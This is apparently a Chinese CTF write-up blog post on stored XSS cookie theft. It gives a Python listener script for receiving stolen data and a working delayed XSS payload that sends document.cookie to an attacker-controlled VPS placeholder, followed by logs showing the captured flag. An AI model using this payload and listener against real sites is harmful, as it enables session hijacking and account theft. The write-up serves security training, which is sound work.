学Xss要会打Cookie 解题思路

作者:Administrator 发布时间: 2025-11-28 阅读量:7 评论数:0

学Xss要会打Cookie 解题思路

by:响应云安全

公众号: 响应云SRC

题目是好靶场的 自行搜索

1. 存储型 XSS 原理

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。 典型流程: 受害者访问恶意链接 → 页面注入脚本 → 脚本执行 → 敏感数据外泄

2. 本题特殊性

flag 不在初始 cookie 中 需等待后台 JS 定时任务将 flag 注入 document.cookie 因此 payload 必须具备延迟执行能力或持续监听能力

攻击思路与步骤

步骤 目标 1 验证是否存在 XSS 漏洞 2 构造能读取 document.cookie 的 payload 3 设置外带通道接收数据 4 成功捕获动态生成的 flag 5 提交 flag 完成挑战

攻击环境搭建

写一个python脚本


from http.server import HTTPServer, BaseHTTPRequestHandler

class StealHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("\n[+] 接收到GET请求:")
        print(f"路径: {self.path}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length).decode() if length > 0 else ''
        print("\n[+] 接收到POST请求:")
        print(f"Body: {body}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

print("[*] 开始监听 :8080 ...")
HTTPServer(("", 8080), StealHandler).serve_forever()


运行命令:

python3 steal.py


<script>
setTimeout(() => {
    const img = new Image();
    img.src = 'http://your-vps-ip:8080/log?c=' + encodeURIComponent(document.cookie);
}, 3000);
</script>


延迟3秒执行,等待 flag 注入 使用 img标签 避免 CORS 和 OPTIONS 预检问题 encodeURIComponent 确保特殊字符正确传输

成功接收到以下请求:


"OPTIONS /?c=flag%3Dflag%7Bf5cc4794f4234df6b55c5ffd4aa5c5ac%7D HTTP/1.1" 501
"GET /?c=flag%3Dflag%7Bf5cc4794f4234df6b55c5ffd4aa5c5ac%7D HTTP/1.1" 200 ```

解码参数得到 flag:
flag=flag{f5cc4794f4234df6b55c5ffd4aa5c5ac}


评论